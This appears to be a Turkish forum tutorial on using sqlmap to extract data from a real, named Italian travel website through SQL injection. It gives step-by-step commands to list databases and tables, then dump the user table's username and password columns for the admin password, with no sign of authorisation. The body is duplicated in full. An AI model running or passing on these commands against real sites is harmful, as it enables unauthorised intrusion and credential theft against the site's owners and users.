Merhaba arkadaşlar bu konuda Sqlmap ile veri çekmeyi göstereceğim bilmeyen kardeşlerim için faydalı olabilir Sqlmap ve phytonu elinde bulunmayanlar aşağıda koyduğum link ile indirebilirler.-
http://sqlmap.org/ -
SQLmap yukarıda ki linkten kendi sitesinden indirebilirsiniz.-
https://www.python.org/downloads/-
Phytonu da aynı şekilde kendi sitesinden indirebilirsiniz.-
Kurulumu ve açılışı herkesin yapabildiğinin düşüncesindeyim. Bilmeyenler için video çekebilirim şuan şehir dışında olduğum için çekemiyorum daha sonra konuyu tekrar güncellerim video şeklinde.
Şimdi Konumuza Geçelim.
Bir sql açıklı site var elimde onu test edeceğiz-
http://www.telemacoviaggi.it/dettaglio.php?id=117
-
Öncelikle databaseye girelim bunun için --dbs komutunu vermeliyiz.-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 --dbs
-
Ş-eklinde yazıyorum buradaki -u yazarak hedef sitemizi belirledik ve --dbs diyerek databaseye gitmeye karar verdik.-
-
-
information_schema ile işimiz yok o her sitede var biz pwei0005 ile ilgilenelim-
Şimdi --dbs yerine -D yazıp (pwei0005) yazıp sonuna --tables ekleyelim. Böylelikle tabloları göreceğiz şu şekilde.-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 --tables
-
-
Tablolarımız bu şekilde utenti italyanca da kullanıcı demek bu yüzden oraya girelim admin pass için şimdi aynen şu şekilde yazmak lazım-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 -T utenti --columns
-
Böylelikle utenti içerisindeki kolonları göreceğiz-
-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 -T utenti -C Psr, Usr --dump
-
--dump diyerek son işlemi de yapmış oldum veriler karşınıza gelecektir yani sıralama şu şekilde
-
--dbs diyerek databaseye-
--tables diyerek tabloları-
--columns ile kolonları-
--dump diyerek istediğin veriyi görebilirsiniz.-
http://sqlmap.org/ -
SQLmap yukarıda ki linkten kendi sitesinden indirebilirsiniz.-
https://www.python.org/downloads/-
Phytonu da aynı şekilde kendi sitesinden indirebilirsiniz.-
Kurulumu ve açılışı herkesin yapabildiğinin düşüncesindeyim. Bilmeyenler için video çekebilirim şuan şehir dışında olduğum için çekemiyorum daha sonra konuyu tekrar güncellerim video şeklinde.
Şimdi Konumuza Geçelim.
Bir sql açıklı site var elimde onu test edeceğiz-
http://www.telemacoviaggi.it/dettaglio.php?id=117
-
Öncelikle databaseye girelim bunun için --dbs komutunu vermeliyiz.-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 --dbs
-
Ş-eklinde yazıyorum buradaki -u yazarak hedef sitemizi belirledik ve --dbs diyerek databaseye gitmeye karar verdik.-
information_schema ile işimiz yok o her sitede var biz pwei0005 ile ilgilenelim-
Şimdi --dbs yerine -D yazıp (pwei0005) yazıp sonuna --tables ekleyelim. Böylelikle tabloları göreceğiz şu şekilde.-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 --tables
-
Tablolarımız bu şekilde utenti italyanca da kullanıcı demek bu yüzden oraya girelim admin pass için şimdi aynen şu şekilde yazmak lazım-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 -T utenti --columns
-
Böylelikle utenti içerisindeki kolonları göreceğiz-
sqlmap.py -u http://www.telemacoviaggi.it/dettaglio.php?id=117 -D pwei0005 -T utenti -C Psr, Usr --dump
-
--dump diyerek son işlemi de yapmış oldum veriler karşınıza gelecektir yani sıralama şu şekilde
-
--dbs diyerek databaseye-
--tables diyerek tabloları-
--columns ile kolonları-
--dump diyerek istediğin veriyi görebilirsiniz.-
